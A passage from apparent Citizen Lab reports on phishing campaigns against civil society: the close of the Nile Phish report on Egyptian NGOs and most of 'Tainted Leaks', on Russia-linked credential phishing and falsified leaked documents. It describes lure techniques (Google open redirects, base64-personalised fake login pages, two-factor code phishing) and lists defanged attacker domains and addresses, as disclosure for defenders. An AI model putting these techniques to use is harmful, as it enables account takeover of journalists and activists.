we have identified were sent to individuals implicated in Case 173, either as named defendants, or staff of targeted NGOs. We do not attribute Nile Phish to a sponsor in this report, but it is clear that it is yet another component of the increasingly intense pressure faced by Egyptian civil society. By exposing the Nile Phish operation, including providing more technical indicators, we hope to help potential targets and other investigators identify and mitigate the campaign. Evidence of 2 Factor Phishing Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets. These targets provided us with a range of evidence for additional activities by Nile Phish. Importantly, it also appears that Nile Phish has engaged in phishing users of 2 factor authentication. The following illustration describes this process. 11/14 Diagram explaining how Nile Phish operators phish users who have enabled 2 factor authentication. [Click for hi res] The phishing works in this case by tricking the victim into entering both their password and their two factor code. First, the victim is phished by Nile Phish using a deception similar to those described in the report. If the victim is tricked into providing their password, Nile Phish sends the victim a message with a link to a 2-factor code phishing page, then the operators type the stolen password into Gmail. They then request SMS as an Alternative Verification method. Gmail then sends the victim an SMS with a six digit code. If the victim enters the SMS into the 12/14 code phishing page, the operators use the code to log into gmail to take control of the account. Acknowledgements Very special thanks to Citizen Lab colleagues including Ron Deibert, Claudio Guarnieri, Sarah McKune, Ned Moran, Masashi Crete-Nishihata, Irene Poetranto, Adam Senft, and Amitpal Singh. Citizen Lab also thanks T. Nebula, unnamed security researchers, TNG, and Internews. Appendix A Indicators of Targeting Download the indicators from the Citizen Lab Github. The operators used at least 33 domains for this phishing attack, the following table provides examples. Theme Example Domain Google googledrive-sign.servehttp[.]com, googledriver-sign.ddns[.]net, mailgooglesign.servehttp[.]com, googlemaps.servehttp[.]com, account-google.serveftp[.]com, googleverify-signin.servehttp[.]com, googlesecureserv.servehttp[.]com, googlesignin.servehttp[.]com, activate-google.servehttp[.]com, googlemaps.servehttp[.]com Dropbox dropboxsupport.servehttp[.]com, dropbox-service.serveftp[.]com, dropbox-sign.servehttp[.]com Generic verification-acc.servehttp[.]com, secure-team.servehttp[.]com, security-myaccount.servehttp[.]com, myaccount.servehttp[.]com, device-activation.servehttp[.]com Shipping fedex-shipping.servehttp[.]com, fedex-mail.servehttp[.]com, fedex-sign.servehttp[.]com, aramex-shipping.servehttp[.]com Full list of Domains account-google.serveftp[.]com aramex-shipping.servehttp[.]com device-activation.servehttp[.]com dropbox-service.serveftp[.]com dropbox-sign.servehttp[.]com dropboxsupport.servehttp[.]com fedex-mail.servehttp[.]com fedex-shipping.servehttp[.]com fedex-sign.servehttp[.]com googledriver-sign.ddns[.]net googledrive-sign.servehttp[.]com google-maps.servehttp[.]com googlesecure-serv.servehttp[.]com googlesignin.servehttp[.]com googleverify-signin.servehttp[.]com mailgooglesign.servehttp[.]com myaccount.servehttp[.]com secure-team.servehttp[.]com security-myaccount.servehttp[.]com verification-acc.servehttp[.]com dropbox-verfy.servehttp[.]com fedex-s.servehttp[.]com watchyoutube.servehttp[.]com verification-team.servehttp[.]com securityteam-notify.servehttp[.]com secure-alert.servehttp[.]com quota-notification.servehttp[.]com notification-team.servehttp[.]com fedex-notification.servehttp[.]com docs-mails.servehttp[.]com restricted-videos.servehttp[.]com dropboxnotification.servehttp[.]com 13/14 moi-gov.serveftp[.]com activate-google.servehttp[.]com googlemaps.servehttp[.]com 108.61.176[.]96 104.238.191[.]204 176.123.26[.]42 Emails secure.policy.check[@]gmail.com aramex.shipment[@]gmail.com fedex_tracking[@]outlook.sa mails.acc.noreply[@]gmail.com fedex.noreply[@]gmail.com customerserviceonlineteam[@]gmail.com fedexcustomers.service[@]gmail.com elnadeem.org[@]gmail.com dropbox.noreplay[@]gmail.com mails.noreply.verify[@]gmail.com fedex.mails.shipping[@]gmail.com dropbox.notifications.mails[@]gmail.com dropbox.notfication[@]gmail.com drive.noreply.mail[@]gmail.com 14/14 Tainted Leaks Disinformation and Phishing With a Russian Nexus citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/ May 25, 2017 Every external operation is first and foremost a domestic one: the single most important role of the agencies is to secure the regime. Mark Galeotti on Russian foreign intelligence Key Points Documents stolen from a prominent journalist and critic of the Russian government were manipulated and then released as a leak to discredit domestic and foreign critics of the government. We call this technique tainted leaks. The operation against the journalist led us to the discovery of a larger phishing operation, with over 200 unique targets spanning 39 countries (including members of 28 governments). The list includes a former Russian Prime Minister, members of cabinets from Europe and Eurasia, ambassadors, high ranking military officers, CEOs of energy companies, and members of civil society. After government targets, the second largest set (21%) are members of civil society including academics, activists, journalists, and representatives of non-governmental organizations. We have no conclusive evidence that links these operations to a particular Russian government agency; however, there is clear overlap between our evidence and that presented by numerous industry and government reports concerning Russian-affiliated threat actors. Summary This report describes an extensive Russia-linked phishing and disinformation campaign. It provides evidence of how documents stolen from a prominent journalist and critic of Russia was tampered with and then leaked to achieve specific propaganda aims. We name this technique tainted leaks. The report illustrates how the twin strategies of phishing and tainted leaks are sometimes used in combination to infiltrate civil society targets, and to seed mistrust and disinformation. It also illustrates how domestic considerations, specifically concerns about regime security, can motivate espionage operations, particularly those targeting civil society. The report is organized into four parts described below: 1/43 PART 1: HOW TAINTED LEAKS ARE MADE describes a successful phishing campaign against David Satter, a high-profile journalist. We demonstrate how material obtained during this campaign was selectively released with falsifications to achieve propaganda aims. We then highlight a similar case stemming from an operation against an international grantmaking foundation, headquartered in the United States, in which their internal documents were selectively released with modifications to achieve a disinformation end. These tainted leaks were demonstrated by comparing original documents and emails with what Russia-linked groups later published. We conclude that the tainting likely has roots in Russian domestic policy concerns, particularly around offsetting and discrediting what are perceived as outside foreign attempts to destabilize or undermine the Putin regime. PART 2: A TINY DISCOVERY describes how the operation against Satter led us to the discovery of a larger phishing operation, with over 200 unique targets. We identified these targets by investigating links created by the operators using the Tiny.cc link shortening service. After highlighting the similarities between this campaign and those documented by previous research, we round out the picture on Russia-linked operations by showing how related campaigns that attracted recent media attention for operations during the 2016 United States presidential election also targeted journalists, opposition groups, and civil society. PART 3: CONNECTIONS TO PUBLICLY REPORTED OPERATIONS outlines the connections between the campaigns we have documented and previous public reporting on Russia-linked operations. After describing overlaps among various technical indicators, we discuss the nuance and challenges surrounding attribution in relation to operations with a Russian nexus. PART 4: DISCUSSION explores how phishing operations combined with tainted leaks were paired to monitor, seed disinformation, and erode trust within civil society. We discuss the implications of leak tainting and highlight how it poses unique and difficult threats to civil society. We then address the often-overlooked civil society component of nation-state cyber espionage operations. Introduction: Tainted Leaks & Civil Society Targets Russia-linked cyber espionage campaigns, particularly those involving targeting around the 2016 U.S. elections, and more recently the 2017 French election, have dominated the media in recent months. As serious as these events are, often overlooked in both media and industry reports on cyber espionage is a critical and persistent victim group: global civil society. A healthy, fully-functioning, and vibrant civil society is the antithesis of non-democratic rule, and as a consequence, powerful elites threatened by their actions routinely direct their powerful spying apparatuses toward civil society to infiltrate, anticipate, and even neutralize their activities. Unlike industry and government, however, civil society groups typically lack resources, institutional depth, and capacity to deal with these assaults. For different reasons, they also rarely factor into threat industry reporting or government policy around cyber espionage, and can be the silent, overlooked victims. 2/43 As with previous Citizen Lab reports, this report provides further evidence of the silent epidemic of targeted digital attacks on civil society, in this case involving widely reported Russian-affiliated cyber espionage operations. Our report underscores the domestic roots of these foreign operations, and how concerns over regime security and domestic legitimacy can factor into Russian threat modeling and espionage targeting, both at home and abroad. Patient Zero for the Investigation: David Satter Our investigation began with a single victim: David Satter, a high-profile journalist, Rhodes Scholar, and critic of the Kremlin. In 2013, Satter was banned from Russia, allegedly for flagrant violations of visa laws, but which most attribute to his investigative reporting on Russian autocracy. Satter is known for his book, Darkness at Dawn, which investigated the possible 1999 conspiracy involving the Russian Federal Security Service (FSB) in a series of bombings of Russian apartment buildings that was used as a justification for the second Chechen War and which facilitated the rise to power of Vladimir Putin. On October 7, 2016 Satter fell victim to a targeted phishing campaign, and mistakenly entered his password on a credential harvesting site. Satter s e-mails were stolen and later published selectively, and with intentional falsifications, as we will describe in this report. While we cannot conclusively attribute the theft of Satter s emails to one particular threat actor, nor do we have concrete details on the process by which his stolen emails were falsified and made their way into the public domain, we uncover and analyze several pieces of evidence to help contextualize the tainted leaks, while at the same time linking the infiltration of his email to a much wider cyber espionage campaign that has a Russian nexus. Tainted Leaks: Disinformation 2.0 Following the compromise of his account, Satter s stolen e-mails were selectively modified, and then leaked on the blog of CyberBerkut, a self-described pro-Russian hacktivist group. This report introduces the term tainted leaks to describe the deliberate seeding of false information within a larger set of authentically stolen data. We examine in detail how a report sent to the National Endowment for Democracy (NED) about Radio Liberty s Russian investigative reporting project (contained in the emails stolen from Satter) was carefully modified with false information prior to being released. We show how this manipulation created the false appearance that prominent Russian anti-corruption figures, including Alexei Navalny, were receiving foreign funding for their activities. (Alexei Navalny is a well-known Russian anti-corruption activist and opposition figure). We also note how the document was used in an effort to discredit specific reports about corruption among close associates of Russian President Vladimir Putin. In addition, whoever tainted the document also made reference to an article that had not yet been published at the time the document was leaked. This timing strongly suggests advance knowledge of the publication of an upcoming piece of investigative journalism concerning 3/43 senior Russian officials and businessmen. Such information is likely to have been sensitive, and would not have been widely known. This may suggest that the operators had access to other, ongoing surveillance operations. Once the tainted leak was released, Russian state-owned media and others reported that the document showed a CIA-backed conspiracy to start a colour revolution in Russia.1 The tainted leak was also reported as evidence that the reports on corruption within Putin s inner circle represented part of a deliberate disinformation campaign on behalf of foreign interests. The timing and substance of the tainting coincides with reported fears among Putin and his close associates that revelations about their wealth and its sources could trigger protests and uprisings within Russia, like those lead by Navalny in recent months and years. Tainted leaks pose complex challenges to the victims of breaches, as well as representing a potent and troubling method of disinformation. Part 1 describes the leak tainting in greater detail, and Part 4: Discussion provides an analysis of the risks posed by the tactic. Pandora s Un-Shortening: High Value Targets Emerge While investigating the suspicious messages sent to Satter, we determined that Tiny.cc, the link-shortening service used by the operators to phish credentials, had predictable features that enabled us to discover some other links likely used by the same operators. We developed a technique to discover some of these links, and ultimately collected 223 malicious links representing 218 unique targets.2 We have been able to identify the real identity of approximately 85% of the targets. Of the set we identified, we found targets from at least 39 countries. One thread that links the targets is that their professional activities connect them to issues where the Russian government has a demonstrated interest. In some cases, the targets are Russians, ranging from an ex-Prime Minister, to journalists who investigate corruption, to political activists. Many more targets are from, posted to, or involved in extractive industries in countries and areas where the Russian government has an economic and strategic interest, such as former Soviet states. Still others are likely to be working on issues on the other side of the negotiating table from Russia, whether as part of United Nations operations, NATO, or civil service. Perhaps unsurprisingly, one of the largest groups of targets are high-ranking military and government personnel and elected officials in Ukraine. 4/43 Figure 1: Map showing countries that targets of the phishing campaign are linked to [click for hi-res] In other cases, for instance, the wife of a military attache, individuals appear to be targeted because of their proximity to high value targets. In others, we have identified a large number of individuals who appear to be targeted because they received support, in the form of a fellowship, from a particular US-based grantmaker. Some notable target categories include: Politicians, public servants and government officials from Afghanistan, Armenia, Austria, Cambodia, Egypt, Georgia, Kazakhstan, Kyrgyzstan, Latvia, Peru, Russia, Slovakia, Slovenia, Sudan, Thailand, Turkey, Ukraine, Uzbekistan and Vietnam Diplomatic personnel from numerous embassies, up to and including ambassador level, as well as their family members Civil society members including very high profile critics of the Russian president, as well as journalists and academics Senior members of the oil, gas, mining, and finance industries of the former Soviet states United Nations officials Military personnel from Albania, Armenia, Azerbaijan, Georgia, Greece, Latvia, Montenegro, Mozambique, Pakistan, Saudi Arabia, Sweden, Turkey, Ukraine, and the United States, as well as NATO officials 5/43 The discovery of so many other targets provides us with a window into the campaign structure, and objectives (Part 2 outlines how we discovered the targets). After government targets, the second largest set (21%) are members of civil society like academics, activists, journalists, and representatives of non-governmental organizations. Figure 2: Some high-value targets who received phishing emails The Importance of Civil Society Targets The data presented in Figure 3 underscore the extent to which civil society groups are being targeted in numbers equivalent to those seen with the more classic cyber espionage sectoraligned targets such as military, government, and industry. Amongst the civil society targets, more than half were journalists, many of whom are prominent contributors to Russian language news outlets such as Vedomosti, Slon/Republic, Novaya Gazeta, and the BBC Russian Service. While providing a detailed analysis of the civil society targets or an outline of their areas of activity would undoubtedly jeopardize their privacy, we can safely reflect on two notable patterns that emerge from such an analysis. 6/43 The first is that, like our first subject David Satter, several individuals from the target list were known for their public efforts towards shining a light on the Russian government and its activities. From publishing articles that outline fraud or corruption, to general activism in support of electoral reform, many of the civil society targets seem to have been singled out for the perception that their actions could pose a threat to the Putin regime. Figure 3: Breakdown of discovered targets into broad categories Another notable commonality found during analysis of the civil society targets of these campaigns is the near perfect alignment between their areas of activity and the geopolitical conflicts in which Russia is a known or suspected belligerent, or party to the conflict. Specifically, the focus areas of the civil society targets span geographic boundaries, including conflict areas such as Syria, Afghanistan, Ukraine, and others. We also found that several dozen of the targeted individuals had as a thread in common that they had received a fellowship from a single funder focused on the region. Notification The large and diverse target group presented notification challenges. Our process for notifying potential victims involved the following considerations and steps: For targets affiliated with governments or government-affiliated organizations (such as NATO or the United Nations), or businesses in a particular country, we passed information on targets names and email addresses to the relevant Computer Emergency Response Team (CERT) If many targets shared an organizational affiliation, but not a single employer, we contacted that organization and worked with them to notify the individuals 7/43 We also provided a full list of targets to the targets e-mail provider. Part 1: How Tainted Leaks Are Made We examine how stolen materials from Satter s inbox were turned into tainted leaks and released by CyberBerkut, and then examine a similar operation against the Open Society Foundations. To make a clean comparison between real and fake, and illustrate exactly how tainting takes place, we obtained original, genuine documents and e-mails from David Satter, a victim of a breach, and compared them with the tainted versions. We then describe a prior case of tainted leaks: internal documents belonging to the Open Society Foundations were stolen, then later released with tainting similar to Satter s, also by CyberBerkut.3 In both cases the breach victims were working with US-based organizations which had programs specializing in Russia. The tainting appeared to have two objectives: cause the programs to appear more subversive of Russia than they were, and discredit specific opposition individuals and groups critical of Russian President Putin and his confidants. The Case of David Satter On October 5, 2016, a phishing email was sent to the Gmail address of David Satter (See: Patient Zero: David Satter). This phishing email was crafted with a specific ruse designed to look like a security warning from Google, suggesting to the recipient that an unknown thirdparty has obtained their Gmail account password (see Figure 4). 8/43 Figure 4: Phishing Email 1, mimicking a genuine message from Google The phishing email is designed to trick the recipient into clicking on the Change Password button. Clicking on this link would direct the victim s web browser to a link hosted on the URL shortening service Tiny.cc. The operator disguised the link by using an open redirect hosted by Google. This open redirect allowed the operators to create a URL that, superficially, appears to be hosted by Google: https://www.google.com/amp/tiny.cc/(redacted) Unfortunately, the ultimate destination of this shortened URL was changed to a benign webpage before we were able to examine this phishing email. However, as we will outline in Part 2 of this report, there is sufficient evidence available to suggest the original destination. Analysis of the email headers revealed that the message was sent with the Russian email service Yandex, using email account g.mail2017[@]yandex.com. A Second Phishing Email Two days later, on October 7, 2016, Satter received a second email that used an identical deception to the first attempt detailed above. 9/43 As with Email 1, the google.com/amp/ redirect pointed to a URL hosted by Tiny.cc. Once again, similar to Email 1, Citizen Lab found that the originally configured redirection target for this link had been removed. Analysis of the email headers in this second phishing attempt show that the message was sent with the web-based email service mail.com , using email account annaablony[@]mail.com. Figure 5: Phishing Email 2 Unauthorized Access On October 7 2016, shortly after receiving the email, Satter reports having clicked on the change password link in Email 2, and recalls being redirected to what he now realizes was in fact a credential phishing page which appeared to be a legitimate Google sign-in page. Unfortunately, Satter had temporarily disabled 2-factor authentication on his account, making the compromise possible. Shortly after entering his credentials, Satter s Gmail account activity page recorded an unauthorized login event. The data logged by Google indicated that the login session originated from an IP address in Romania (Figure 6). In Part 2 we will show that the server associated with this IP address was also hosting the fake Google login page where Satter submitted his account credentials. Thus it is likely that this malicious server was configured to automatically download the email contents from any compromised accounts (see Figure 7). 10/43 Figure 6: Screen grab from Google account activity page In Part 2 of this report we will outline how the phishing links sent to Satter led us to discover a much wider campaign that included 218 distinct targets from government, industry, military, and civil society. In the following section, we provide context concerning the disinformation campaign that was conducted around material stolen from Satter s email account and published on the blog of CyberBerkut, a pro-Russian hacktivist collective. Figure 7: How a phishing campaign against Satter became a tainted leaks operation Analyzing a Tainted Leak This section compares an original document obtained by Citizen Lab with a tainted document published online, and used as part of a disinformation campaign. We describe the tainting in detail, and analyse the likely objective. Several documents from Satter s emails were posted by CyberBerkut at the same time without observable manipulation. However, one document showed extensive evidence of tainting. The tainted leak was a report authored by Satter describing Radio Liberty s Russian Investigative Reporting Project. The document was modified to make Satter appear to be paying Russian journalists and anti-corruption activists to write stories critical of the Russian Government. Importantly, we do not know the process through which the stolen document made its way from Satter s inbox to the CyberBerkut release. In the CyberBerkut version, the document is posted as screen-captures, and thus lacks metadata. 11/43 Figure 8: CyberBerkut post dated October 22, 2016 showing the narrative accompanying the tainted leak document (highlighted with arrow). [Archived copy] The original document lists a series of articles from Radio Liberty exclusively that are part of the project. The articles concern a range of topics: history, economics, and politics. Radio Liberty is a U.S. government international broadcaster, founded in 1951 to broadcast news and information into the Soviet Union. It merged with Radio Free Europe in 1976, who now together are incorporated as a 501(c)(3), funded and overseen by the United States Broadcasting Board of Governors. The tainted document modifies the text to appear to be a report on a much larger (nonexistant) project to pay for articles by a range of authors, which would subsequently be published by a range of media outlets. The deceptively inserted articles, almost all of which are genuine publications, focus on corruption within Putin s friends and inner circle. The work of Alexei Navalny, a prominent Putin critic, is repeatedly emphasized. The full tainted document is in Appendix A. Taint 1: Making reporting look like a secret influence operation The operators modified the document s scope in an attempt to create the appearance of a widespread media campaign. They did this by removing or modifying mentions of Radio Liberty throughout the document. Figure 9: Text in red was removed, creating the impression of a wide media campaign, not the programming of a specific news source. Other content, such as discussions of specific translators working for Radio Liberty are similarly removed to preserve the fiction. 12/43 Figure 10: The document was further tweaked to create the impression of a larger campaign. A note about a translator was also removed as it would contradict the impression We believe that by removing specific references to Radio Liberty, the perpetrators are aiming to give the impression of a broader subversive campaign not limited to a single news organization. Doing so allows the perpetrators to falsely associate non-US funded organizations, such as independent NGOs, to appear to be linked as part of this larger, fictitious program. Figure 11: Further tainting to remove mentions of Radio Liberty Finally, a clause is deleted at the end of the document concerning the risks of writing without the protection of a full time job (Figure 11). This deletion may simply be the tainters removing an inconvenient sentence that refers to Radio Liberty, but it also may be an attempt to make the activity look more cloak and dagger. Taint 2: Discrediting specific journalists and Kremlin critics The original document included a list of 14 articles published as part of the Russian Investigative Project at Radio Liberty. The tainted document includes 24. The operators not only added to the list, but also tweaked the Radio Liberty articles to further the impression of a larger campaign. 13/43 Figure 12: Six of the ten added articles. All blue text was added to the original as part of the tainting. The objective is to make these reports appear to have been supported by the project. Ten additional articles were added. Although the original list of publications covered a variety of themes, the added set primarily focuses on issues of corruption, and the wealth of those in Putin s circle. The articles, written for a range of publications, all share a theme: corruption and personal enrichment by those close to Putin and the Russian Government (See Appendix A). 14/43 Figure 13: People and Topics of articles added in the tainting. Images: Wikipedia, Radio Free Europe, Reuters [click for hi-res] Of special interest are the insertions of Alexei Navalny, a prominent Russian anti-corruption activist and opposition figure whose work, and Anti-corruption Foundation, receives widespread domestic and international attention. By repeatedly adding his reporting to the document, the tainting creates the appearance of foreign funding for his work. This theme also figured prominently in the disinformation campaign surrounding the original publication, on October 22, 2016, of the tainted document by CyberBerkut (See: Disinformation Campaign Surrounding the Tainted Document). Taint 3: Claimed foreknowledge An article by Russian journalist Elena Vinogradova describing issues involving senior Russian officials and businessmen was also added as part of the tainting, which goes on to state that it will be published by Russian-language news service Vedomosti on October 24-25.4 Figure 14: Tainting that suggests the operators had advanced knowledge of a news report 15/43 This timing is significant as the original CyberBerkut publication of the tainted document occurred on October 22 2016, slightly before this date. The apparent foreknowledge suggests that the individuals responsible for the tainting had advance knowledge of the content and publication date of a piece of investigative journalism, which may mean the operators had access to intelligence or surveillance reports concerning the activities of the Elena Vinogradova. We identified at least one individual among the set of targets of the phishing campaign whose account might have provided this information, however we were not able to confirm a compromise. Importantly, we were not able to find concrete evidence of the publication of an article matching the description added in the tainting. It is possible that existence of the article was a fabrication, or the result of misplaced speculation by the individuals responsible for the tainting. Taint 4: Modifying the Time Frame and Supporting Details The timeframe and number of publications are increased, perhaps to give the impression of a longer and more intense campaign. Changes are also made to accommodate a wide range of articles not published by Radio Liberty but by other parties. Figure 15: Dates and numbers changed to accommodate ten more articles Text that mentions specific dates in the original document that would not accommodate the articles that have been falsely added is also changed to support the new fiction. Disinformation Campaign Surrounding the Tainted Document The tainted version of the stolen document was released online by CyberBerkut, which represents itself as a group of pro-Russian hacktivists. CyberBerkut provided the framing narrative for the tainted document in a post on October 22, 2016: they were releasing the document to provide evidence that the United States was attempting to support a colour revolution in Russia. In the CyberBerkut narrative, David Satter was an agent directing the publication of articles critical of the Russian government. 16/43 Figure 16: RIA Novosti, Russia s state operated news agency, reporting the Cyber Berkut s release of the tainted leaks Russia s state operated news agency RIA Novosti, as well as Sputnik Radio, picked up the narrative, and gave voice to a number of sources who claimed that the leak was evidence that the United States Central Intelligence Agency (CIA) was attempting to foment a colour revolution. The document was cited in a RIA Novosti report as providing evidence of over reports intended to discredit the Russian president, and his entourage. The colour revolution narrative was echoed in this SM News report, and by Vesti.lv, among others. Meanwhile, other Russian-language sources claimed that the document discredited Navalny Anti-corruption Foundation by showing that its articles were actually ordered by David Satter. The Open Society Foundations Case In 2015, the Open Society Foundations (OSF) experienced a breach of confidential data. 17/43 Materials from this breach were released by CyberBerkut in November 2015 and, much later, on the leak branded site DC Leaks, alongside a wide range of materials stolen from other organizations. DC Leaks worked directly with some online outlets, and provided exclusive access to their materials to some, as well as achieving substantial media impact. The redundant releases enable a comparison of documents between the two leaks using public materials. The DC Leaks dump included the release of untainted stolen documents that had been previously released as part of a tainted leak by Cyber Berkut. An article in Foreign Policy used this dump to identify several cases of leak tainting. We were able to verify each of their observations, as well as identifying additional elements of tainting. We then contacted OSF s IT staff, who provided us with the original genuine documents which we were able to use as the basis for further comparisons, and to authenticate the documents posted on DC Leaks. Taken together, the tainting appears designed to create the impression that several groups and media outlets, including Alexei Navalny s Foundation for Fighting Corruption, are supported by OSF. As with the Satter case, the tainting appears to have a primarily domestic focus, and to be aimed at de-legitimizing figures like Navalny by making it appear that they are the recipients of illicit, foreign funding. This is a view that Navalny, one of the targets of the tainting, has also expressed to Foreign Policy. A Budget Document First, CyberBerkut released a tainted budget document to make it appear as if OSF was funding Alexei Navalny s Foundation for Fighting Corruption. Figure 17: Tainted Budget Document: the second row was added to make it appear as if OSF was funding Navalny s Foundation for Fighting Corruption The tainters may have been working quickly, resulting in a small error, in which a dollar amount was substituted for Approved Date. Proposed Strategy Document Second, a proposed funding strategy document was similarly modified to include the Foundation for Fighting Corruption in a list of groups to receive OSF support. 18/43 Figure 18: Proposed Strategy Document showing the location where the tainted document is modified to include mention of the Foundation for Fighting Corruption The tainting resumed later in the document, when several media outlets (Echo Moscow, RosBusinessConsulting, and Vedomosti) were also added to the document, apparently to create the perception that they had received the support of OSF. Figure 19: A second section in the same document showing once more how several media outlets, including Echo Moscow, RosBusinessConsulting, and Vedomosti have been added. The second instance of tainting in the strategy document also introduced a slight grammatical error when the tainters neglected to remove before changing news site to the plural news sites. Document Addressing the NGO Law Finally, in a document addressing grantees and Russia s NGO law, tainting was again performed to add Navalny s Foundation for Fighting Corruption. The tainting also purported to show the foundation receiving money via Yandex, a widely-used Russian platform offering an online payment service. 19/43 Figure 20: Tainted document, once more showing the addition of Navalny s Foundation for Fighting Corruption Taken together, both the tainted document stolen from David Satter, and the tainted OSF documents paint a picture of a competent adversary working to achieve several objectives, including discrediting domestic critics of Russia s government and president, while simultaneously attempting to embarrass foreign funders with activities in Russia. In Part 4 we discuss the significance of tainted leaks as a disinformation technique. Part 2: A Tiny Discovery Beginning with the shortened link sent to David Satter, we identified a predictable feature in how the link shortener (Tiny.cc) generated its shortened URLs. This enabled us to identify over 200 additional targets of the same operation described in Part 1. This section describes the process used to enumerate these targets, and further describes the links between this operation and other publicly-reported Russian-linked phishing campaigns. In September 2016, ThreatConnect published a blog post documenting phishing attempts against contributors to the citizen journalism website Bellingcat and its founder Eliot Higgins. The targeted contributors were actively engaged in reporting on the Russian involvement in the July 17, 2014 downing of Malaysia Airlines Flight 17. ThreatConnect attributed these intrusion attempts to Fancy Bear (aka APT28), a threat actor widely believed to be directly linked to the Russian government. In an October update to this post, ThreatConnect documented an additional spear phishing attempt against a Bellingcat contributor. This latest credential phishing attempt was largely similar to the first email sent to David Satter (see Part 1, The Case of David Satter). Both emails were sent at 10:59am EST using the same sending address: g.mail2017[@]yandex.com. In addition, both shared a fake Gmail footer that was distinctively modified from Gmail s original footer. 20/43 Figure 21: Footer from the phishing emails sent to Bellingcat and David Satter showing a distinctive misspelling (possibly to avoid spam filtering) In both cases the malicious links embedded in these phishing emails were configured to redirect the targets to addresses hosted on the URL shortening service Tiny.cc. As ThreatConnect showed, the Tiny.cc link used against the Bellingcat contributor actually redirected the victim to another shortened URL, this one hosted by a different shortening service: TinyURL.com. Ultimately, this series of link redirections led to a malicious credential phishing page hosted at the following URL: hxxp://myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga Table 1: Domain hosting the credential phishing page Using PassiveTotal, we examined the historic DNS resolution data for this domain name. The results revealed that at the time of these phishing attempts, the domain id833[.]ga resolved to IP address 89.40.181[.]119 the same Romanian IP address used to access David Satter email account on October 7 (see Part 1, The Case of David Satter). This evidence suggests that the Bellingcat contributor and David Satter were both targeted by the same spear phishing campaign; this linkage will be explored further in the next section. Tiny.cc Enumeration In examining the Tiny.cc shortened URLs found within the spear phishing emails sent to David Satter, we became curious as to the structure of how such links were constructed. Tiny.cc provides a shortening service which allows users to create succinct URLs that redirect to some defined, usually long, website address. By way of example, we created a Tiny.cc shortened URL which redirects to a recent Citizen Lab report: http://tiny.cc/bj87iy -> https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/ In this example, the Tiny.cc shortcode would be bj87iy. In the Tiny.cc application back-end database, this hash uniquely resolves to the target address of: https://citizenlab.ca/2017/02/bittersweet-nso-mexico-spyware/ After conducting tests, we determined that these shortcodes are assigned in a sequential manner. For example, using the Tiny.cc API call for creating a shortened URL, we programmatically generated 8 links with a one-second delay between each call. The resulting shortcodes generated (in order) were as follows: 21/43 63q6iy 73q6iy 93q6iy e4q6iy p4q6iy r4q6iy t4q6iy 24q6iy After conducting numerous similar tests, we determined that shortcodes constructed within small temporal windows would be lexically close in the sense of the following base36 alphabet sequence: a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9 Successive shortcodes are constructed by iterating the leftmost character through this base36 alphabet. Once all 36 characters have been exhausted, this leftmost character reverts to the initial value of , with the second character then iterating one position according to the same alphabet. This iterative process continues for each position of the shortcode (see Figure 22), enabling us to consider the shortcodes as a sort of base36 counter Figure 22: Enumerating the base36 shortcodes used by tiny.cc Given this understanding of the shortcode design, we can measure the notional distance between any pair of shortcodes. For example, the distance between the shortcodes bj87iy and cj87iy would be 1, and the distance between bj87iy and bk87iy would be 36. 22/43 This distance measurement gives an idea of how close two shortcodes are, and thus by extension, how close in time they were generated. We will revisit this notion of distance below. Using this design knowledge, we considered the Tiny.cc shortcodes found in the October 5 and 7 phishing emails sent to David Satter. Using these as a starting point, we enumerated approximately 4000 adjacent shortcodes for each, and then examined the target web addresses to which these short links redirected. From this large list, we extracted all of the associated destination links (see Figure 23) which redirected to the malicious phishing domain described above in Table 1. Figure 23: Some of the phishing links discovered during enumeration of the Tiny.cc shortcodes This enumeration led us to discover evidence suggesting that David Satter and the unnamed Bellingcat journalist were but two targets of a much larger credential phishing campaign. Notably, as mentioned above in Part 1: A Second Phishing E-mail, when we checked the particular Tiny.cc shortcode received by Satter, the unshortened link to the phishing page had been replaced with a benign URL: myaccount.google[.]com. We were unable to conclusively determine the reason for this substitution. One theory suggests that the campaign operators mistakenly shortened incorrect destination URLs, while another posits that once the operators had successfully compromised a target s account, they would inoculate the Tiny.cc link provided in the phishing email. Indeed, in the same batch of enumerated shortcodes from the October campaign, we found four additional shortcodes which also pointed to myaccount.google[.]com. Decoding the targets We examined the unshortened URLs of shortcodes that were adjacent to the one sent to Satter, and discovered 25 distinct destination addresses of the form: https://www.google.com/amp/tinyurl.com/(redacted) These addresses were redirects which leveraged the previously mentioned, Google-hosted, open redirect page (google.com/amp/) to send a user to a link on the TinyURL.com shortening service. In every case, these TinyURL.com links were each designed to send their intended 23/43 victims to a tailored version of the following, fake, Gmail login page: hxxp://myaccount.google.com-changepasswordsecuritypagesettingmyaccountgooglepagelogin.id833[.]ga/security/signinoptions/password This domain, discussed above and noted in Table 1, at the time the phishing emails were sent, resolved to the Romanian IP address used to access Satter s Gmail account (see Part 1). In order to bolster the social engineering aspect of these fake Gmail login pages, the operator used a series of base64-encoded URL parameter values in order to display the target s email address, and in some cases the target s name and Google profile image, into the appropriate fields on the fake login page. Figure 24: TinyURL preview of a second level redirect of a phishing link The following example URL illustrates the use of these parameters (Figure 25): 24/43 Figure 25: URL parameter decoding from a phishing link By virtue of this pattern of URL parameters, we were able to determine the precise target of each of the phishing links we discovered during our enumeration process. The significance of this pattern of URL parameters will be revisited below in Part 3. Digging Deeper Extending the search for suspicious URLs by fully enumerating the entire six-character shortcode sequence space in the above manner proved to be intractable. 5 However, the same ThreatConnect report discussed above also documented a previous APT28-attributed phishing attempt against Bellingcat journalist Aric Toler. On June 16, 2016, Toler was sent a strikingly similar Google-themed phishing email containing a Tiny.cc shortcode. Following the same process outlined above, we enumerated the shortcodes adjacent to the one published by ThreatConnect. In doing so, we discovered another group of targets 198 target email addresses in total. In this earlier campaign, the unshortened URLs pointed directly to the likely phishing page (Figure 26): Figure 26: URL parameters in June campaign against Aric Toler Notably, these links appear to be hosted on the Google Blogger service, and while these pages were already taken offline when we attempted to examine them, the same characteristic URL parameterization can be observed. 25/43 A brief analysis of the target list associated with these two campaigns is provided above (see Pandora s Un-Shortening: Civil Society Targets Emerge). Testing the Lure We measured the distance between successive malicious Tiny.cc shortcodes seen in the June and October campaigns (Figure 27). In doing so, we observed fairly consistent distances between the shortcodes, perhaps indicating that the operators were generating these links via an automated process. However, one 